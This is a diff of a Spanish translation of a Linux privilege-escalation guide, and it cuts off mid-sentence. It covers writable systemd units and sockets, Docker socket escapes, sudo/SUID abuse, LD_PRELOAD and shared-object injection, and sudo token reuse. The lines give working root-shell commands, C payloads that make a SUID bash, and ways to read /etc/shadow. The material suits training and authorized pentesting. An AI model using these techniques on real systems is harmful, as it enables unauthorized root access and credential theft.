puedas escribir, y cuando al servicio se le pida ejecutar la acción vulnerable (**Start**, **Stop**, **Reload**), tu **backdoor se ejecutará** (los usuarios sin privilegios normalmente no pueden iniciar/detener servicios, pero comprueba si puedes usar `sudo -l`). +Entonces, crea un **ejecutable** con el **mismo nombre que el binario de la ruta relativa** dentro de la carpeta del PATH de systemd en la que puedas escribir, y cuando se le pida al servicio que ejecute la acción vulnerable (**Start**, **Stop**, **Reload**), tu **backdoor será ejecutado** (los usuarios sin privilegios normalmente no pueden iniciar/detener servicios, pero comprueba si puedes usar `sudo -l`). -**Aprende más sobre servicios con `man systemd.service`.** +**Aprende más sobre los servicios con `man systemd.service`.** ## **Temporizadores** -Los **temporizadores** son archivos de unidad de systemd cuyo nombre termina en `**.timer**` y que controlan archivos o eventos `**.service**`. Los **temporizadores** pueden usarse como alternativa a cron, ya que tienen soporte integrado para eventos de tiempo de calendario y eventos de tiempo monotónico y pueden ejecutarse de forma asincrónica. +**Temporizadores** son archivos de unidad de systemd cuyo nombre termina en `**.timer**` que controlan archivos o eventos `**.service**`. Los **Temporizadores** pueden usarse como alternativa a cron, ya que tienen soporte incorporado para eventos de tiempo de calendario y eventos de tiempo monotónico, y pueden ejecutarse de forma asíncrona. Puedes enumerar todos los temporizadores con: ```bash @@ -415,22 +414,22 @@ systemctl list-timers --all ``` ### Temporizadores escribibles -Si puedes modificar un temporizador, puedes hacer que ejecute algunas instancias de systemd.unit (como un `.service` o un `.target`) +Si puedes modificar un temporizador, puedes hacer que ejecute alguna unidad existente de systemd.unit (como una `.service` o una `.target`). ```bash Unit=backdoor.service ``` -En la documentación puedes leer qué es la Unit: +En la documentación puedes leer qué es la unidad: -> La unidad que se activa cuando expira este timer. El argumento es un nombre de unidad, cuyo sufijo no es ".timer". Si no se especifica, este valor por defecto es un service que tiene el mismo nombre que la unidad de timer, excepto por el sufijo. (Ver arriba.) Se recomienda que el nombre de la unidad que se activa y el nombre de la unidad del timer se llamen idénticamente, excepto por el sufijo. +> La unidad que se activará cuando este timer expire. El argumento es un nombre de unidad, cuyo sufijo no es ".timer". Si no se especifica, este valor por defecto apunta a un servicio que tiene el mismo nombre que la timer unit, excepto por el sufijo. (Ver arriba.) Se recomienda que el nombre de la unidad que se activa y el nombre de la timer unit se llamen idénticamente, salvo por el sufijo. Por lo tanto, para abusar de este permiso necesitarías: -- Encontrar alguna unidad systemd (como `.service`) que esté **ejecutando un binario escribible** -- Encontrar alguna unidad systemd que esté **ejecutando una ruta relativa** y sobre la que tengas **privilegios de escritura** en el **systemd PATH** (para suplantar ese ejecutable) +- Encontrar alguna systemd unit (como una `.service`) que esté **ejecutando un binario escribible** +- Encontrar alguna systemd unit que esté **ejecutando una ruta relativa** y tengas **privilegios de escritura** sobre el **systemd PATH** (para suplantar ese ejecutable) **Aprende más sobre timers con `man systemd.timer`.** -### **Habilitar timer** +### **Habilitar Timer** Para habilitar un timer necesitas privilegios root y ejecutar: ```bash @@ -445,28 +444,28 @@ Unix Domain Sockets (UDS) permiten la **comunicación entre procesos** en la mis Sockets can be configured using `.socket` files. -**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: +**Learn more about sockets with `man systemd.socket`.** Dentro de este archivo se pueden configurar varios parámetros interesantes: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Estas opciones son diferentes, pero en resumen se usan para **indicar dónde va a escuchar** el socket (la ruta del archivo de socket AF_UNIX, la dirección IPv4/6 y/o el número de puerto a escuchar, etc.) -- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Toman una o más líneas de comando, que se **ejecutan antes** o **después** de que los **sockets**/FIFOs de escucha sean **creados** y enlazados, respectivamente. El primer token de la línea de comando debe ser un nombre de archivo absoluto, seguido de los argumentos para el proceso. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Estas opciones son diferentes pero, en resumen, se usan para **indicar dónde va a escuchar** el socket (la ruta del archivo de socket AF_UNIX, la IPv4/6 y/o el número de puerto a escuchar, etc.) +- `Accept`: Acepta un argumento booleano. Si es **true**, se **lanza una instancia del service por cada conexión entrante** y solo se le pasa el socket de la conexión. Si es **false**, todos los sockets de escucha se **pasan a la unidad de servicio iniciada**, y solo se genera una unidad de servicio para todas las conexiones. Este valor se ignora para datagram sockets y FIFOs, donde una única unidad de servicio maneja incondicionalmente todo el tráfico entrante. **Por defecto es false**. Por razones de rendimiento, se recomienda escribir nuevos daemons solo de una forma adecuada para `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Aceptan una o más líneas de comando, que se **ejecutan antes** o **después** de que los **sockets**/FIFOs de escucha sean **creados** y enlazados, respectivamente. El primer token de la línea de comando debe ser un nombre de archivo absoluto, seguido por los argumentos para el proceso. - `ExecStopPre`, `ExecStopPost`: Comandos adicionales que se **ejecutan antes** o **después** de que los **sockets**/FIFOs de escucha sean **cerrados** y eliminados, respectivamente. -- `Service`: Especifica el nombre de la unidad de **service** que se debe **activar** ante **tráfico entrante**. Esta opción solo está permitida para sockets con Accept=no. Por defecto apunta al service que tiene el mismo nombre que el socket (con el sufijo reemplazado). En la mayoría de los casos no debería ser necesario usar esta opción. +- `Service`: Especifica el nombre de la unidad **service** que se **activará** ante **tráfico entrante**. Esta opción solo está permitida para sockets con `Accept=no`. Por defecto apunta al service que tiene el mismo nombre que el socket (con el sufijo reemplazado). En la mayoría de los casos no debería ser necesario usar esta opción. ### Writable .socket files -Si encuentras un archivo `.socket` **escribible** puedes **agregar** al inicio de la sección `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` y el backdoor se ejecutará antes de que se cree el socket. Por lo tanto, **probablemente necesitarás esperar hasta que la máquina se reinicie.**\ +Si encuentras un archivo `.socket` **writable** puedes **añadir** al inicio de la sección `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` y el backdoor se ejecutará antes de que el socket sea creado. Por lo tanto, **probablemente tendrás que esperar hasta que la máquina se reinicie.**\ _Note that the system must be using that socket file configuration or the backdoor won't be executed_ ### Writable sockets -Si **identificas algún socket escribible** (_ahora hablamos de Unix Sockets y no de los archivos de configuración `.socket`_), entonces **puedes comunicarte** con ese socket y quizá explotar una vulnerabilidad. +Si **identificas algún writable socket** (_ahora hablamos de Unix Sockets y no de los archivos de configuración `.socket`_), entonces **puedes comunicarte** con ese socket y quizá explotar una vulnerabilidad. -### Enumerar Unix Sockets +### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` -### Conexión raw +### Conexión Raw ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -484,48 +483,48 @@ socket-command-injection.md ### HTTP sockets -Ten en cuenta que puede haber algunos **sockets listening for HTTP** requests (_No me refiero a .socket files sino a los archivos que actúan como unix sockets_). Puedes comprobar esto con: +Ten en cuenta que puede haber algunos **sockets listening for HTTP** requests (_no me refiero a .socket files sino a los archivos que actúan como unix sockets_). Puedes comprobar esto con: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -If the socket **responde a solicitudes HTTP**, entonces puedes **comunicarte** con él y quizá **explotar alguna vulnerabilidad**. +Si el socket **responde a una solicitud HTTP**, entonces puedes **comunicarte** con él y quizá **exploit alguna vulnerabilidad**. ### Socket de Docker escribible -El socket de Docker, que suele encontrarse en `/var/run/docker.sock`, es un archivo crítico que debe asegurarse. Por defecto, es escribible por el usuario `root` y los miembros del grupo `docker`. Tener acceso de escritura a este socket puede conducir a una escalada de privilegios. Aquí tienes un desglose de cómo puede hacerse esto y métodos alternativos si el Docker CLI no está disponible. +El socket de Docker, a menudo ubicado en `/var/run/docker.sock`, es un archivo crítico que debe protegerse. Por defecto, es escribible por el usuario `root` y los miembros del grupo `docker`. Tener acceso de escritura a este socket puede llevar a privilege escalation. Aquí tienes un desglose de cómo se puede hacer esto y métodos alternativos si la Docker CLI no está disponible. -#### **Escalada de privilegios con Docker CLI** +#### **Privilege Escalation with Docker CLI** -Si tienes acceso de escritura al socket de Docker, puedes escalar privilegios usando los siguientes comandos: +Si tienes acceso de escritura al socket de Docker, puedes escalate privileges usando los siguientes comandos: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Estos comandos te permiten ejecutar un contenedor con acceso root al sistema de archivos del host. +Estos comandos te permiten ejecutar un contenedor con acceso a nivel root al sistema de archivos del host. -#### **Usando Docker API directamente** +#### **Using Docker API Directly** -En casos donde el Docker CLI no está disponible, el Docker socket todavía puede manipularse usando la Docker API y comandos `curl`. +En casos en los que la Docker CLI no esté disponible, el Docker socket aún puede manipularse usando la Docker API y comandos `curl`. -1. **List Docker Images:** Recupera la lista de imágenes disponibles. +1. **List Docker Images:** Retrieve the list of available images. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Envía una petición para crear un contenedor que monte el directorio raíz del host. +2. **Create a Container:** Send a request to create a container that mounts the host system's root directory. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Inicia el contenedor recién creado: +Start the newly created container: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Usa `socat` para establecer una conexión con el contenedor, habilitando la ejecución de comandos dentro de él. +3. **Attach to the Container:** Use `socat` to establish a connection to the container, enabling command execution within it. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -535,13 +534,13 @@ Connection: Upgrade Upgrade: tcp ``` -Después de establecer la conexión con `socat`, puedes ejecutar comandos directamente en el contenedor con acceso root al sistema de archivos del host. +After setting up the `socat` connection, you can execute commands directly in the container with root-level access to the host's filesystem. -### Otros +### Others Ten en cuenta que si tienes permisos de escritura sobre el docker socket porque estás **inside the group `docker`** tienes [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Si la [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Consulta **más formas de salir de docker o abusarlo para escalar privilegios** en: +Check **more ways to break out from docker or abuse it to escalate privileges** in: {{#ref}} @@ -550,7 +549,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -Si descubres que puedes usar el comando **`ctr`**, lee la siguiente página, ya que **you may be able to abuse it to escalate privileges**: +Si descubres que puedes usar el comando **`ctr`**, lee la siguiente página ya que **puedes abusar de él para escalar privilegios**: {{#ref}} @@ -559,7 +558,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -Si descubres que puedes usar el comando **`runc`**, lee la siguiente página, ya que **you may be able to abuse it to escalate privileges**: +Si descubres que puedes usar el comando **`runc`**, lee la siguiente página ya que **puedes abusar de él para escalar privilegios**: {{#ref}} @@ -568,13 +567,13 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus es un sofisticado sistema de inter-Process Communication (IPC) que permite a las aplicaciones interactuar y compartir datos de forma eficiente. Diseñado pensando en el sistema Linux moderno, ofrece un marco robusto para diferentes formas de comunicación entre aplicaciones. +D-Bus es un sofisticado sistema de **inter-Process Communication (IPC)** que permite a las aplicaciones interactuar y compartir datos de forma eficiente. Diseñado pensando en el sistema Linux moderno, ofrece un marco robusto para diferentes formas de comunicación entre aplicaciones. -El sistema es versátil, soportando IPC básico que mejora el intercambio de datos entre procesos, similar a enhanced UNIX domain sockets. Además, ayuda en la difusión de eventos o señales, fomentando una integración fluida entre componentes del sistema. Por ejemplo, una señal de un Bluetooth daemon sobre una llamada entrante puede indicar a un reproductor de música que silencie el audio, mejorando la experiencia del usuario. Adicionalmente, D-Bus soporta un sistema de objetos remotos, simplificando solicitudes de servicio e invocaciones de métodos entre aplicaciones, agilizando procesos que tradicionalmente eran complejos. +El sistema es versátil, soportando IPC básico que mejora el intercambio de datos entre procesos, semejante a los **enhanced UNIX domain sockets**. Además, ayuda en la difusión de eventos o señales, fomentando una integración fluida entre componentes del sistema. Por ejemplo, una señal de un daemon de Bluetooth sobre una llamada entrante puede indicar a un reproductor de música que mutee, mejorando la experiencia del usuario. Adicionalmente, D-Bus soporta un sistema de objetos remotos, simplificando las solicitudes de servicio y las invocaciones de métodos entre aplicaciones, racionalizando procesos que tradicionalmente eran complejos. -D-Bus opera sobre un **allow/deny model**, gestionando permisos de mensajes (llamadas a métodos, emisión de señales, etc.) basándose en el efecto acumulado de reglas de política que coinciden. Estas políticas especifican las interacciones con el bus, pudiendo permitir una escalada de privilegios mediante la explotación de dichos permisos. +D-Bus opera sobre un modelo de **allow/deny**, gestionando los permisos de mensajes (llamadas a métodos, emisión de señales, etc.) basándose en el efecto acumulado de las reglas de política que coincidan. Estas políticas especifican las interacciones con el bus, y potencialmente pueden permitir una escalada de privilegios mediante la explotación de dichos permisos. -Se proporciona un ejemplo de tal política en `/etc/dbus-1/system.d/wpa_supplicant.conf`, que detalla permisos para el usuario root para poseer, enviar y recibir mensajes de `fi.w1.wpa_supplicant1`. +Se proporciona un ejemplo de tal política en `/etc/dbus-1/system.d/wpa_supplicant.conf`, detallando permisos para el usuario root para poseer, enviar y recibir mensajes de `fi.w1.wpa_supplicant1`. Las políticas sin un usuario o grupo especificado se aplican de forma universal, mientras que las políticas de contexto "default" se aplican a todos los que no estén cubiertos por otras políticas específicas. ```xml @@ -594,7 +593,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Red** -Siempre es interesante enumerar la red y determinar la posición de la máquina. +Siempre es interesante enumerar la red y averiguar la posición de la máquina. ### Enumeración genérica ```bash @@ -621,14 +620,14 @@ lsof -i ``` ### Open ports -Siempre comprueba los servicios de red que se estén ejecutando en la máquina con los que no pudiste interactuar antes de acceder a ella: +Siempre revisa los servicios de red que se ejecutan en la máquina y con los que no pudiste interactuar antes de acceder a ella: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Comprueba si puedes sniff traffic. Si puedes, podrías obtener algunas credentials. +Comprueba si puedes sniff traffic. Si puedes, podrías ser capaz de obtener algunas credentials. ``` timeout 1 tcpdump ``` @@ -636,7 +635,7 @@ timeout 1 tcpdump ### Enumeración genérica -Comprueba **quién** eres, qué **privilegios** tienes, qué **usuarios** hay en los sistemas, cuáles pueden **login** y cuáles tienen **root privileges:** +Comprueba **quién** eres, qué **privilegios** tienes, qué **usuarios** hay en los sistemas, cuáles pueden **login** y cuáles tienen **root privileges**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -660,12 +659,12 @@ gpg --list-keys 2>/dev/null ``` ### UID grande -Algunas versiones de Linux se vieron afectadas por un bug que permite a usuarios con **UID > INT_MAX** escalar privilegios. Más info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) y [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Explotarlo** usando: **`systemd-run -t /bin/bash`** +Algunas versiones de Linux se vieron afectadas por un bug que permite a usuarios con **UID > INT_MAX** escalar privilegios. Más info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +Para explotarlo usa: **`systemd-run -t /bin/bash`** ### Grupos -Comprueba si eres **miembro de algún grupo** que podría concederte privilegios root: +Comprueba si eres **miembro de algún grupo** que podría otorgarte privilegios root: {{#ref}} @@ -685,33 +684,33 @@ echo "Highlighted text: "`xsel -o 2>/dev/null` else echo "Not found xsel and xclip" fi ``` -### Política de Contraseñas +### Política de contraseñas ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` ### Contraseñas conocidas -Si **conoces alguna contraseña** del entorno **intenta iniciar sesión como cada usuario** usando la contraseña. +Si **conoces alguna contraseña** del entorno **intenta iniciar sesión como cada usuario** usando esa contraseña. ### Su Brute -Si no te importa generar mucho ruido y los binarios `su` y `timeout` están presentes en el equipo, puedes intentar hacer brute-force a usuarios usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con el parámetro `-a` también intenta hacer brute-force a usuarios. +Si no te importa generar mucho ruido y los binarios `su` y `timeout` están presentes en el equipo, puedes intentar un brute-force sobre usuarios usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con el parámetro `-a` también intenta un brute-force sobre usuarios. -## Abusos del $PATH escribible +## Abusos de $PATH escribible ### $PATH -Si descubres que puedes **escribir dentro de alguna carpeta del $PATH** podrías escalar privilegios creando un backdoor dentro de la carpeta escribible con el nombre de algún comando que vaya a ser ejecutado por otro usuario (idealmente root) y que **no se cargue desde una carpeta situada antes** de tu carpeta escribible en el $PATH. +Si descubres que puedes **escribir dentro de alguna carpeta del $PATH** podrías ser capaz de escalar privilegios creando **una backdoor dentro de la carpeta escribible** con el nombre de algún comando que vaya a ser ejecutado por un usuario distinto (idealmente root) y que **no se cargue desde una carpeta ubicada antes** de tu carpeta escribible en el $PATH. ### SUDO and SUID -Puede que tengas permitido ejecutar algún comando usando sudo o que tengan el bit suid. Compruébalo usando: +Podrías tener permitido ejecutar algún comando usando sudo o podrían tener el bit suid. Compruébalo usando: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Algunos **comandos inesperados permiten leer y/o escribir archivos o incluso ejecutar un comando.** Por ejemplo: +Algunos comandos **inesperados permiten leer y/o escribir archivos o incluso ejecutar un comando.** Por ejemplo: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -728,25 +727,25 @@ $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -En este ejemplo el usuario `demo` puede ejecutar `vim` como `root`, ahora es trivial obtener un shell añadiendo una clave ssh en el directorio root o invocando `sh`. +En este ejemplo el usuario `demo` puede ejecutar `vim` como `root`; ahora es trivial obtener una shell agregando una clave ssh en el directorio root o ejecutando `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Esta directiva permite al usuario **establecer una variable de entorno** al ejecutar algo: +Esta directiva permite al usuario **set an environment variable** mientras ejecuta algo: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Este ejemplo, **basado en la máquina HTB Admirer**, era **vulnerable** a **PYTHONPATH hijacking** para cargar una biblioteca python arbitraria al ejecutar el script como root: +Este ejemplo, **basado en HTB machine Admirer**, estaba **vulnerable** a **PYTHONPATH hijacking** para cargar una biblioteca de python arbitraria al ejecutar el script como root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo: omitiendo rutas de ejecución +### Sudo: eludir rutas de ejecución -**Jump** para leer otros archivos o usar **symlinks**. Por ejemplo en el archivo sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** para leer otros archivos o usar **symlinks**. Por ejemplo, en el archivo sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -761,45 +760,45 @@ Si se usa un **wildcard** (\*), es aún más fácil: sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` -**Countermeasures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) +**Contramedidas**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary without command path +### Sudo command/SUID binary sin la ruta del comando -Si el **permiso sudo** se da a un único comando **sin especificar la ruta**: _hacker10 ALL= (root) less_ puedes explotarlo cambiando la variable PATH +Si el **permiso sudo** se otorga a un único comando **sin especificar la ruta**: _hacker10 ALL= (root) less_ puedes explotarlo cambiando la variable PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Esta técnica también puede usarse si un binario **suid** **ejecuta otro comando sin especificar la ruta (siempre comprueba con** _**strings**_ **el contenido de un binario SUID extraño)**. +Esta técnica también puede usarse si un **suid** binario **ejecuta otro comando sin especificar la ruta al mismo (siempre comprueba con** _**strings**_ **el contenido de un binario SUID extraño)**). [Payload examples to execute.](payloads-to-execute.md) -### Binario SUID con ruta del comando +### Binario SUID con ruta de comando -Si el binario **suid** **ejecuta otro comando especificando la ruta**, entonces puedes intentar **exportar una función** con el nombre del comando que el archivo suid está invocando. +Si el **suid** binario **ejecuta otro comando especificando la ruta**, entonces puedes intentar **exportar una función** con el nombre del comando que el archivo suid está llamando. -Por ejemplo, si un binario suid invoca _**/usr/sbin/service apache2 start**_ tienes que intentar crear la función y exportarla: +Por ejemplo, si un binario suid llama a _**/usr/sbin/service apache2 start**_, tienes que intentar crear la función y exportarla: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Entonces, cuando ejecutes el binario suid, esta función se ejecutará +Entonces, cuando llames al suid binary, esta función se ejecutará ### LD_PRELOAD & **LD_LIBRARY_PATH** -La variable de entorno **LD_PRELOAD** se usa para especificar una o más bibliotecas compartidas (.so files) que serán cargadas por el cargador antes que las demás, incluyendo la biblioteca estándar de C (`libc.so`). Este proceso se conoce como precarga de una biblioteca. +La variable de entorno **LD_PRELOAD** se utiliza para especificar una o más bibliotecas compartidas (.so files) que el loader cargará antes que todas las demás, incluida la biblioteca estándar de C (`libc.so`). Este proceso se conoce como precarga de una biblioteca. -Sin embargo, para mantener la seguridad del sistema y evitar que esta funcionalidad sea explotada, especialmente con ejecutables **suid/sgid**, el sistema impone ciertas condiciones: +Sin embargo, para mantener la seguridad del sistema y evitar que esta característica sea explotada, especialmente con ejecutables **suid/sgid**, el sistema aplica ciertas condiciones: -- El cargador no tiene en cuenta **LD_PRELOAD** para ejecutables donde el real user ID (_ruid_) no coincide con el effective user ID (_euid_). -- Para ejecutables con **suid/sgid**, solo se precargan las bibliotecas en rutas estándar que también sean **suid/sgid**. +- El loader ignora **LD_PRELOAD** para ejecutables en los que el ID de usuario real (_ruid_) no coincide con el ID de usuario efectivo (_euid_). +- Para ejecutables con suid/sgid, solo se precargan bibliotecas ubicadas en rutas estándar que además sean suid/sgid. -La escalada de privilegios puede ocurrir si tienes la capacidad de ejecutar comandos con `sudo` y la salida de `sudo -l` incluye la declaración **env_keep+=LD_PRELOAD**. Esta configuración permite que la variable de entorno **LD_PRELOAD** persista y sea reconocida incluso cuando los comandos se ejecutan con `sudo`, lo que potencialmente puede conducir a la ejecución de código arbitrario con privilegios elevados. +La escalada de privilegios puede ocurrir si tienes la capacidad de ejecutar comandos con `sudo` y la salida de `sudo -l` incluye la línea **env_keep+=LD_PRELOAD**. Esta configuración permite que la variable de entorno **LD_PRELOAD** persista y sea reconocida incluso cuando los comandos se ejecutan con `sudo`, lo que potencialmente podría llevar a la ejecución de código arbitrario con privilegios elevados. ``` Defaults env_keep += LD_PRELOAD ``` -Guardar como **/tmp/pe.c** +Guárdalo como **/tmp/pe.c** ```c #include #include @@ -822,7 +821,7 @@ Finalmente, **escalate privileges** ejecutando sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Un privesc similar puede ser abusado si el atacante controla la variable de entorno **LD_LIBRARY_PATH** porque controla la ruta donde se van a buscar las bibliotecas. +> Se puede abusar de una privesc similar si el atacante controla la env variable **LD_LIBRARY_PATH**, ya que controla la ruta donde se van a buscar las bibliotecas. ```c #include #include @@ -844,13 +843,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Al encontrarse con un binario con permisos **SUID** que parece inusual, es buena práctica verificar si está cargando correctamente archivos **.so**. Esto puede comprobarse ejecutando el siguiente comando: +Al encontrarse con un binario con permisos **SUID** que parezca inusual, es buena práctica verificar si está cargando correctamente archivos **.so**. Esto se puede comprobar ejecutando el siguiente comando: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Por ejemplo, encontrarse con un error como _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugiere la posibilidad de explotación. +Por ejemplo, encontrarse con un error como _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugiere una posibilidad de explotación. -Para explotarlo, se procedería creando un archivo en C, por ejemplo _"/path/to/.config/libcalc.c"_, que contenga el siguiente código: +Para explotarlo, se procede a crear un archivo C, por ejemplo _"/path/to/.config/libcalc.c"_, que contenga el siguiente código: ```c #include #include @@ -861,13 +860,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Este código, una vez compilado y ejecutado, tiene como objetivo elevar privilegios manipulando permisos de archivos y ejecutando un shell con privilegios elevados. +Este código, una vez compilado y ejecutado, pretende elevar privilegios manipulando los permisos de archivo y ejecutando un shell con privilegios elevados. Compila el archivo C anterior en un archivo de objeto compartido (.so) con: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Finalmente, ejecutar el binario SUID afectado debería activar el exploit, permitiendo el posible compromiso del sistema. +Finalmente, ejecutar el binario SUID afectado debería desencadenar el exploit, permitiendo una posible compromisión del sistema. ## Shared Object Hijacking ```bash @@ -879,7 +878,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Ahora que hemos encontrado un binario SUID que carga una biblioteca desde una carpeta donde podemos escribir, vamos a crear la biblioteca en esa carpeta con el nombre necesario: +Ahora que hemos encontrado un SUID binary que carga una library desde una carpeta en la que podemos escribir, vamos a crear la library en esa carpeta con el nombre necesario: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -896,13 +895,13 @@ Si obtienes un error como ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -eso significa que la librería que has generado necesita tener una función llamada `a_function_name`. +Eso significa que la librería que has generado necesita tener una función llamada `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) es una lista curada de binarios Unix que pueden ser explotados por un atacante para eludir las restricciones de seguridad locales. [**GTFOArgs**](https://gtfoargs.github.io/) es lo mismo pero para casos donde puedes **only inject arguments** en un comando. +[**GTFOBins**](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. [**GTFOArgs**](https://gtfoargs.github.io/) is the same but for cases where you can **solo inyectar argumentos** in a command. -El proyecto recopila funciones legítimas de binarios Unix que pueden ser abusadas para escapar de shells restringidos, escalar o mantener privilegios elevados, transferir archivos, spawn bind and reverse shells, y facilitar otras tareas de post-exploitation. +El proyecto recopila funciones legítimas de binarios Unix que pueden ser abusadas para escapar de shells restringidos, escalar o mantener privilegios elevados, transferir archivos, generar bind y reverse shells, y facilitar otras tareas de post-explotación. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -921,43 +920,43 @@ https://gtfoargs.github.io/ ### FallOfSudo -Si puedes acceder a `sudo -l` puedes usar la herramienta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para comprobar si encuentra cómo explotar alguna regla de sudo. +Si puedes ejecutar `sudo -l` puedes usar la herramienta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para comprobar si encuentra cómo explotar alguna regla de sudo. ### Reusing Sudo Tokens -En casos donde tienes **sudo access** pero no la contraseña, puedes escalar privilegios **waiting for a sudo command execution and then hijacking the session token**. +In cases where you have **sudo access** but not the password, you can escalate privileges by **waiting for a sudo command execution and then hijacking the session token**. Requisitos para escalar privilegios: -- Ya tienes un shell como usuario "_sampleuser_" -- "_sampleuser_" ha **usado `sudo`** para ejecutar algo en los **últimos 15mins** (por defecto esa es la duración del sudo token que nos permite usar `sudo` sin introducir ninguna contraseña) -- `cat /proc/sys/kernel/yama/ptrace_scope` es 0 -- `gdb` es accesible (puedes subirlo) +- Ya tienes una shell como el usuario "_sampleuser_" +- "_sampleuser_" ha **usado `sudo`** para ejecutar algo en los **últimos 15 minutos** (por defecto esa es la duración del token de sudo que nos permite usar `sudo` sin introducir ninguna contraseña) +- `cat /proc/sys/kernel/yama/ptrace_scope` sea 0 +- `gdb` sea accesible (puedes subirlo) (Puedes habilitar temporalmente `ptrace_scope` con `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` o permanentemente modificando `/etc/sysctl.d/10-ptrace.conf` y estableciendo `kernel.yama.ptrace_scope = 0`) Si se cumplen todos estos requisitos, **puedes 